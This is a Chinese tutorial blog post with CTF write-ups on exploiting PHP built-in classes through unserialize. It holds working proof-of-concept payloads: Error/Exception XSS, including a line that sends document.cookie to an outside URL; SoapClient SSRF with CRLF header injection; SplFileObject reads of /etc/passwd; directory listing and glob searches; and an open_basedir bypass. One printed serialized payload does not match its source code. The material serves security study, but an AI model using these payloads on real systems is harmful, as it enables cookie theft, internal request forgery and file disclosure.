前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP 常见内置类浅析

PHP 常见内置类浅析

作者头像
用户9691112
发布2023-05-18 13:56:34
1.9K0
发布2023-05-18 13:56:34
举报
文章被收录于专栏:quan9i的安全笔记

前言

周末看题,遇PHP原生类,坐牢,此前未学,故学,浅结,如下。

PHP原生类

基础概念

什么是原生类呢,接下来来简单介绍一下它。

PHP原生类就是在标准PHP库中已经封装好的类,而在其中,有些类具有一些功能,例如文件读取、目录遍历等,这就给了我们可乘之机,我们只需要实例化这些类,就可以实现文件读取这种敏感操作。

在CTF中,有时会遇到一些奇怪的题,比如没有给出反序列化的类,这个时候可能就需要用到PHP原生类了

我们可以通过如下脚本来获取调用了常见魔术方法的原生类

代码语言:javascript
复制
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 如果题目中有其他的魔术方法,可自行添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

其输出结果如下

代码语言:javascript
复制
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
...

常用的有以下几个

代码语言:javascript
复制
Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement
SplFileObject

接下来对其进行简单讲解

XSS By Error/Exception

Error

前提

适用于php7版本

在开启报错的情况下

原理

Error 是所有PHP内部错误类的基类,用于自动自定义一个Error,该类是在PHP 7.0.0 中开始引入的(此即前提条件一之原因)。

Error类中含有一个__tostring魔术方法,如果把它当做字符串使用,就会触发该魔术方法。例如我们对其进行输出操作(echo),此时就会自动调用__tostring魔术方法,如果Error类中内容为XSS恶意语句,此时就会导致XSS

demo

现有题目如下

代码语言:javascript
复制
<?php
$a = unserialize($_GET['a']);
echo $a;
?> 

对代码进行简单分析,这里对传入的a参数直接进行反序列化而后进行了输出操作。这明显是一个PHP反序列化的问题,但却没给出反序列化的类,此时就要考虑用PHP原生类了。

构造Poc如下

代码语言:javascript
复制
<?php
$a = new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));  
#O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Chtml%5Cqq.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
?>

接下来访问构造好的题目环境,将构造好的Payload赋值给a参数

image-20230407005614138
image-20230407005614138

成功触发XSS

Exception

前提

适用于php5、7版本

开启报错的情况下

原理

Exception是所有用户级异常的基类,它触发XSS的原理与Error类似,类中也存在一个__tostring魔术方法,当其被触发且类中存在恶意代码时,此时就会出现XSS

demo

题目同上

代码语言:javascript
复制
<?php
$a = unserialize($_GET['a']);
echo $a;
?> 

Poc如下

代码语言:javascript
复制
<?php
$a = new Exception("<script>alert('xss')</script>");
echo urlencode(serialize($a));  
#O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A40%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Chtml%5C877.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
?>
image-20230407010213587
image-20230407010213587

成功触发XSS

SSRF By SoapClient

首先来简单介绍一下SoapClient 类

定义

首先看看SOAP的介绍

代码语言:javascript
复制
SOAP,作为webService三要素(SOAP、WSDL、UDDI)之一,用来描述传递信息的格式,SOAP可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。它还支持从消息系统到远程过程调用(RPC)等大量的应用程序。SOAP使用基于XML的数据结构和超文本传输协议(HTTP)的组合定义了一个标准的方法来使用Internet上各种不同操作环境中的分布式对象。(以上来自百度百科)

简单的说,就是这个SOAP可以发送请求,当我们能够控制数据包中的内容时,就可以通过GET/POST方法进行传参,进而发起SSRF。

注:如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项

接下来来看一下PHP SoapClient类的部分内容

代码语言:javascript
复制
SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看出这里存在一个__call方法,而正是由于这个魔术方法,导致了SSRF的出现。当__call魔术方法被调用时,它就会向目标URL发送一个soap请求,也可以理解为HTTP/HTTPS请求。

接下来看一下该函数的参数

代码语言:javascript
复制
public __construct ( string|null $wsdl , array $options = [] )

从这里可以看出需要两个参数,第一个参数$wsdl用来指明是否为wsdl模式,这个一般不开,也用不到,所以不进行讲解,有兴趣的师傅可自行参考https://www.cnblogs.com/hujun1992/p/wsdl.html。接下来看第二个参数,如果是`wsdl`模式,则它是可选项(可写可不写),若不是`wsdl`模式,则第二个参数必须写,且数组中必须要设置`location`和`uri`选项,其中`location`是目标URL,而`uri`是`SOAP`服务的目标命名空间

demo

既然此类可发送请求,且URL可控,那我们监听本机一个端口,同时发起一个请求,看看会有什么反应。

首先在VPS开启监听

image-20230407030329272
image-20230407030329272

接下来我们去请求这个端口,看看有何响应

代码语言:javascript
复制
<?php 
$a = new SoapClient(null,array('uri'=>'quan9i', 'location'=>'http://ip:7777')); 
$b = serialize($a); 
$c = unserialize($b); 
$c -> abc();

接下来运行php文件,在VPS上收到响应

image-20230407030432490
image-20230407030432490

从这里可以看到**SOAPAction: “quan9i#abc”**,quan9i是我们写入的uriabc则是我们调用的方法名,因此如果HTTP头部还存在CRLF漏洞(即插入\r\n)的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头或是POST报文。接下来实验一下

插入Cookie

代码语言:javascript
复制
<?php 
$a = new SoapClient(null,array('location' => 'http://VPS:7777', 'user_agent' => "quan9i\r\nCookie: PHPSESSID=abcdefghijklmn", 'uri' => 'qwq'));
$b = serialize($a); 
$c = unserialize($b); 
$c -> abc();
image-20230407031157033
image-20230407031157033

插入POST报文

代码语言:javascript
复制
<?php 
$a = new SoapClient(null,array('location' => 'http://VPS:7777', 'user_agent' => "quan9i\r\n\r\nPOSTtest", 'uri' => 'qwq'));
$b = serialize($a); 
$c = unserialize($b); 
$c -> abc();
image-20230407031439662
image-20230407031439662

此时还有一个问题就是传输POST数据时需遵循HTTP协议,所以 Content-Type 的值我们要设置为 application/x-www-form-urlencodedContent-type的值在User-Agent下方,所以我们可以通过 SoapClient 来设置 User-Agent,构造代码如下

代码语言:javascript
复制
<?php
$target = 'http://VPS:7777';
$post_data = 'qwq=1';
$headers = array('X-Forwarded-For: 127.0.0.1');
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'qwq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

运行文件

image-20230407032900371
image-20230407032900371

可以看出成功挤掉了原来的Content-type,我们成功上传了一个新的Content-type

文件读取

SplFileObject

定义

plFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。该类部分代码如下

代码语言:javascript
复制
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
    string $filename,
    string $mode = "r",
    bool $useIncludePath = false,
    ?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
    array $fields,
    string $separator = ",",
    string $enclosure = "\"",
    string $escape = "\\",
    string $eol = "\n"
): int|false
...
/* 继承的方法 */
public SplFileInfo::__toString(): string
}
原理

该类的构造方法可以构造一个新的文件对象用于后续的读取。其大致原理可简单解释一下,当类中__tostring魔术方法被触发时,如果类中内容为存在文件名,那么它会对此文件名进行内容获取。

简单利用

读取文件方法如下

代码语言:javascript
复制
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
image-20230408013826170
image-20230408013826170

成功读取文件,但从中可看出,这样的话只能读取一行,因此如果我们想读取多行的话,需要进行一个遍历输出,具体代码如下

代码语言:javascript
复制
<?php
highlight_file(__FILE__); 
$dir = new SplFileObject('/etc/passwd'); 
foreach($dir as $key){
    echo($key);
}
image-20230408014141677
image-20230408014141677

遍历目录

FilesystemIterator

定义

DirectoryIterator 类可以理解为文件系统迭代器,其构造方法将会创建一个指定目录的迭代器

该类的部分代码如下

代码语言:javascript
复制
 class FilesystemIterator extends DirectoryIterator {
/* Methods */
public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)
public current(): string|SplFileInfo|FilesystemIterator
public getFlags(): int
public key(): string
public next(): void
public rewind(): void
public setFlags(int $flags): void
/* Inherited methods */
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
...
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}
原理

此类内置了__tostring函数,当我们用了这个类,且对其进行echo或其他操作时,会触发__tostring函数,此时会返回这个迭代器的第一项,亦即返回文件名。

简单利用

直接利用函数并输出的话它只能输出一个文件名,因此需要一个遍历函数,这样才能获取指定目录的全部文件名。

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
$dir=new FilesystemIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
}
image-20230407014318710
image-20230407014318710

成功输出根目录文件名

demo

现有题目如下(代码参考自http://arsenetang.com)

代码语言:javascript
复制
<?php
error_reporting(0);
highlight_file(__FILE__);
echo 'flag就在这个目录下的某个目录中的文件里';
echo '</br>';
class A{
    public $class;
    public $para;
    public function __wakeup()
    {
        echo new  $this->class ($this->para);
    }
}
if(isset($_GET['a'])){
    unserialize($_GET['a']);
}

对于这个,我们可以看到提示了flag这个目录下的某个目录中的文件里,明显是想让我们进行目录遍历,同时这里并未给出其他可利用的类,且存在echo函数,因此我们想到PHP原生类中的FilesystemIterator 类。

因此我们这里可以给class赋值为目录读取类,给para赋值为我们想读取的目录,构造Poc如下

代码语言:javascript
复制
<?php
class A{
    public $class = 'FilesystemIterator';
    public $para = './';
}
$a = new A();
echo serialize($a);
#O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";}
?>

此时用得到的Payload去打,即可发现flag

image-20230407015809072
image-20230407015809072

接下来读取flag文件夹,看看里面有啥

代码语言:javascript
复制
<?php
class A{
    public $class = 'FilesystemIterator';
    public $para = './flag';
}
$a = new A();
echo serialize($a);
#O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:6:"./flag";}
?>
image-20230407020158080
image-20230407020158080

但它这个类是没有文件读取功能的,想读取文件的话还需要用到其他类,这里使用SplFileObject类进行读取,因此简单修改一下Poc,尝试读取flag.txt

代码语言:javascript
复制
<?php
class A{
    public $class = 'SplFileObject';
    public $para = './flag/flag.txt';
}
$a = new A();
echo serialize($a);
#O:1:"A":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:15:"./flag/flag.txt";}
?>
image-20230407020414585
image-20230407020414585

成功获取flag

DirectoryIterator

定义

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

该类的部分代码如下

代码语言:javascript
复制
DirectoryIterator extends SplFileInfo implements SeekableIterator {
    /* 方法 */
    public __construct ( string $path )
    public current ( ) : DirectoryIterator
    public getATime ( ) : int
    public getBasename ( string $suffix = ? ) : string
    public getCTime ( ) : int
    public getExtension ( ) : string
    public getFilename ( ) : string
    public getGroup ( ) : int
    public getInode ( ) : int
    public getMTime ( ) : int
    public getOwner ( ) : int
    public getPath ( ) : string
    public getPathname ( ) : string
    public getPerms ( ) : int
    public getSize ( ) : int
    public getType ( ) : string
    public isDir ( ) : bool
    public isDot ( ) : bool
    public isExecutable ( ) : bool
    public isFile ( ) : bool
    public isLink ( ) : bool
    public isReadable ( ) : bool
    public isWritable ( ) : bool
    public key ( ) : string
    public next ( ) : void
    public rewind ( ) : void
    public seek ( int $position ) : void
    public __toString ( ) : string    // 以字符串形式获取文件名
    public valid ( ) : bool
}
简单利用

如果不进行遍历,它只能获取指定目录下排序后的一个文件名,因此我们需要进行一个遍历才可获取其指定目录下全部文件名,利用方式如下

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
$dir=new DirectoryIterator("/"); 
foreach($dir as $f){
     echo($f.'<br>');
}

接下来访问环境,即可发现

image-20230407013424095
image-20230407013424095

根目录文件名均被列出。

GlobIterator

定义

GlobIterator与前两个类相似,它也可以遍历一个文件目录,略有不同的是它与glob()有共通之处,可以通过模式匹配寻找文件路径,比如题目的flag在aaccflag.php中,我们知道文件名可能会有flag,此时就可以去GlobIterator(/*flag*)这种方式来匹配flag

具体代码如下

代码语言:javascript
复制
<?php
highlight_file(__FILE__);
$dir=new GlobIterator("/*flag*"); 
echo $dir;

接下来去访问

image-20230407021156672
image-20230407021156672

成功找到flag文件

open_basedir BYpass

当这三个目录遍历类与glob伪协议相结合时,可以绕过open_basedir,查看指定目录下的文件名,具体代码如下

代码语言:javascript
复制
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f.'<br>');
}
?>

访问环境

image-20230407022028537
image-20230407022028537

成功输出根目录文件名,其他目录遍历类亦是如此,这里不再演示。

CTF赛题实战

XSS

[BJDCTF 2nd]xss之光

没找到环境,但无妨,因为很多大师傅已经给出了Wp,附赠了源码,因此直接看思路即可。

其题目代码如下

代码语言:javascript
复制
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

这里不难看出是有关PHP反序列化的,但并未给出参数,因此联想到PHP原生类的利用,题目名为Xss之光,且最后有echo函数,明显的原生类触发XSS题目,对于XSS,XSS利用window.open()函数,就可打开新窗口,带出Cookie(flag一般都在Cookie中),因此构造Poc如下

代码语言:javascript
复制
<?php
$a = new Exception("<script>window.location.href='https://www.baidu.com'</script>");
echo urlencode(serialize($a));
#O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A40%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Chtml%5C877.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

也可以直接弹Cookie

代码语言:javascript
复制
<?php
$str = new Exception("<script>window.location.href='url/?'+document.cookie</script>");
echo urlencode(serialize($str));
?>

没图的话有些抽象,这里借用一下春告鳥大师傅的图。

img
img

SSRF

CTFSHOW web[259]

题目环境https://ctf.show/challenges#web259-719

源码如下

代码语言:javascript
复制
#index.php
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

#flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

这里的话可以看到它是按照HTTP_X_FORWARDED_FOR对请求报文进行分离,后半部分为ip,我们这里的User-Agent即位于ip中,因此我们可以借用SoapClient+CRLF实现SSRF,将上面demo中的代码进行更改即可,具体如下

代码语言:javascript
复制
<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = 'token=ctfshow';
$headers = array('X-Forwarded-For: 127.0.0.1,127.0.0.1');
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'qwq^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
$b = str_replace('&','&',$b);
echo urlencode($b);  // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
#O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A203%3A%22qwq%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
?>

接下来赋值给vip参数

image-20230408012637885
image-20230408012637885

接下来访问flag.txt

image-20230408012701715
image-20230408012701715

遍历目录+文件读取

CTFSHOW 愚人杯[被遗忘的反序列化]

环境如下https://ctf.show/challenges#%E8%A2%AB%E9%81%97%E5%BF%98%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-3968

代码如下

代码语言:javascript
复制
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

寻找出口,发现这个eval函数,具体代码如下

代码语言:javascript
复制
class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }

当满足$get === "p8vfuv8g8v8py"才可实现命令执行,但这里get参数被加密了,所以可以尝试下PHP原生类,此时的思路如下,它提示了当前目录存在txt文件,我们知道Globlterator类只需要知道文件名的一部分,就可以获取整个文件名,因此我们可以通过它来寻找txt文件。如何触发Globlterator类呢,当然是找有a(b)此类的,且a,b均可控,同时对函数进行输出,此时看到gBoBg类中的__tostring方法

代码语言:javascript
复制
public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;

这个完全符合条件,我们给coos赋值为Globlterator,给file赋值为*txt即可输出含有txt的文件名。但如何触发__tostring魔术方法呢,__tostring魔术方法是当函数被当做字符串时触发的,因此我们随便找一个即可,这里看到w_wuw_w类中的key参数,$this->key这个就可以作为__tostring的函数触发点。

代码语言:javascript
复制
class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

因此接下来构造一下代码

代码语言:javascript
复制
<?php
class gBoBg{
    public $name='1';
    public $file='*txt';
    public $coos='GlobIterator';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123'; 
echo serialize($pop);
#O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:4:"*txt";s:4:"coos";s:12:"GlobIterator";}s:4:"file";s:3:"123";}

赋值给$_SERVER["HTTP_AAAAAA"];这个其实在请求头字段进行赋值,我们这里的话,AAAAAA= 'xxx'即可实现赋值

image-20230408021139612
image-20230408021139612

发现h1nt.txt,接下来用SplFileObject 类进行读取即可

代码语言:javascript
复制
<?php
class gBoBg{
    public $name='1';
    public $file='h1nt.txt';
    public $coos='SplFileObject';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;

}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123'; 
echo serialize($pop);
#O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:8:"h1nt.txt";s:4:"coos";s:13:"SplFileObject";}s:4:"file";s:3:"123";}
image-20230408021451045
image-20230408021451045

emmm,只给出了这样一句话,应该是没回显完整,但此时转念一想,这个只是hint,里面应该也不会有flag,我们为什么不直接去根目录找flag文件然后读呢,因此接下来尝试去根目录下寻找flag文件。

代码语言:javascript
复制
<?php
class gBoBg{
    public $name='1';
    public $file='/f*';
    public $coos='GlobIterator';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;

}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123'; 
echo serialize($pop);
#O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:3:"/f*";s:4:"coos";s:12:"GlobIterator";}s:4:"file";s:3:"123";}
image-20230408021427865
image-20230408021427865

疑似发现flag文件f1agaaa,尝试读取

代码语言:javascript
复制
<?php
class gBoBg{
    public $name='1';
    public $file='/f1agaaa';
    public $coos='SplFileObject';
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;

}
$pop = new w_wuw_w();
$pop->key = new gBoBg();
$pop->file = '123'; 
echo serialize($pop);
image-20230408021910522
image-20230408021910522

成功获取flag。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023/04/08 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • PHP原生类
    • 基础概念
      • XSS By Error/Exception
        • Error
        • Exception
      • SSRF By SoapClient
        • 定义
        • demo
      • 文件读取
        • SplFileObject
      • 遍历目录
        • FilesystemIterator
        • DirectoryIterator
        • GlobIterator
        • open_basedir BYpass
    • CTF赛题实战
      • XSS
        • [BJDCTF 2nd]xss之光
      • SSRF
        • CTFSHOW web[259]
      • 遍历目录+文件读取
        • CTFSHOW 愚人杯[被遗忘的反序列化]
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档